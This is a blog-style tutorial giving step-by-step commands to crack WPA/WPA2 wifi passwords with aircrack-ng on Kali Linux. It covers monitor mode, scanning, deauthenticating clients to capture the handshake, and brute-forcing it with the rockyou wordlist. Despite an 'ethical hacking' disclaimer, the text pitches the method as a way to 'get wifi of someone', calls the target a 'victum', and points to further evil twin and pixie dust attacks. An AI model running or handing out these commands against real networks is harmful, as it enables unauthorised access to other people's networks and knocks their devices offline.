In this tutorial, I will show you how to Hack or Crack any WEP/WPA2 PSK security wifi using Aircrack-ng & Tp link wireless adapters? To hack wifi you need a hacking OS, a wireless adapter or an Aircrack software. After that you can easily get wifi of someone.
This article is made available for educational and informational purposes only. We believe that everyone must be aware of ethical hacking and cybersecurity to avoid different types of cyberattacks on computers, websites, apps, etc. Please regard the word hacking as ethical hacking every time we use it. All our articles have been made using our own systems, servers, routers, and websites. It does not contain any illegal activities. Our sole purpose is to raise awareness related to cybersecurity and help our viewers learn ways to defend themselves from any hacking activities. Technical Meer is not responsible for any misuse of the provided information.
Required Tools & Softwares:
- Kali Linux Running as default OS or in Virtual machine.
- One Router of your own to be hacked. You can also use your Mobile Hotspot.
- One Wifi adapter which supports Monitor Mode & packet Injection.
- Aircrack-ng Software. (Pre-Installed in Kali Linux)
Pre Procedure to Hack Wifi:
- First of all Install Kali Linux on your system to hack wifi. You can Install kali Linux as default OS in the replacement of Windows or as Dual boot, or you can install kali Linux on virtual machine. It’s all depends upon you.
- Purchase Monitor Mode & Packet Injection supported Adapter from Market. I will use TP LINK AC 600 TU PLUS here. You can also use TP LINK WN TL-722N V2/V3. If you don’t know how to enable Monitor Mode and Packet Injection in TP Link WN TL-722N. You can click on LEARN HOW
- Connect Wireless Adapter to your kali machine and then open the terminal and run following commands to update & upgrade kali Linux
sudo apt update && sudo apt upgrade sudo reboot
- Now Run the following command to check Wireless Adapter is Successfully connected or not.
- Its time to Install the drivers of TP LINK AC 600 TU PLUS by given command.
sudo apt install realtek-rtl88xxau-dkms
Killing All Background Processes:
On terminal first we need to kill all the processes that might interfere in our hacking procedure. Run the following command to kill the background processes.
sudo airmon-ng check kill
Enabled Monitor Mode to Hack Wifi:
There are many methods to enabled monitor mode but i will show you the best one. Run given commands everytime when you want to change the mode of Wireless adapter from Managed to Monitor.
sudo ifconfig wlan0 down
sudo iwconfig wlan0 mode monitor
sudo ifconfig wlan0 up
Here’s the output you should be seeing. In Wlan0 Mode:Monitor
Scanning for Nearby Wifi Networks:
Now we can Monitor all nearby wireless networks. For that run given command.
sudo airodump-ng wlan0
When you found your victum press ctrl+c to exit.
- CH: The Channel number where wireless networks can send or receive data.
- BSSID: The MAC address of the client devices.
- ENC: Encryption or security on which device is connected.
- ESSID: Which is stands for Extended Service Set Identification which mean the identifying name of wireless network.
Capturing the WPA Handshake:
I am attacking on Technical Meer Wifi (it is my own wifi). Now copy the BSSID of the wifi and run the given commands.
sudo airodump-ng -c 6 --bssid 6A:9B:AF:F4:C0:EF -w /home/kali/ wlan0
- -bssid : macc address of wifi
- -c : channel number
- -w : the directory where you want to save password file
- wlan0: Number of interface
Don’t close or terminate upper process, Now Parallel open another Terminal and run the following command.
sudo aireplay-ng -0 20 -a 6A:9B:AF:F4:C0:EF wlan0
- aireplay-ng : to inject frames
- -o : for deauthentication
- 20 : no. of deauthentication packets to be sent.
- -a : for the bssid of our target network to kicked off clients from network
Successfully WPA handshake captured.
Brute Force Using Aircrack-ng:
We have captured the file now we have to brute force the wpa handshake with aircrack-ng. We will doing bruteforce with the rockyou.txt file. It defaults comes with kali linux just needs to extracted. Now run the following command to Bruteforce the WPA handshake captured files.
cd /usr/share/wordlists sudo gunzip rockyou.txt.gz
After unzipped the rockyou.txt. start bruteforce.
sudo aircrack-ng -a2 -b 6A:9B:AF:F4:C0:EF -w /usr/share/wordlists/rockyou.txt /home/kali/-01.cap
- -a : -a for WPA & -a2 for WPA2 network
- -b : the bssid of target.
- -w : location of the wordlist
- /home/kali : location of cap file
These types of attacks take too long to crack the password, and they are always not successful instead of these attacks you can also use evil twin or pixie dust attack which will take less time and give you better result. If you have any issue or questions then please comment below. Make sure to Subscribe to our Website for more tutorials like this. Hope this helped. Thank you.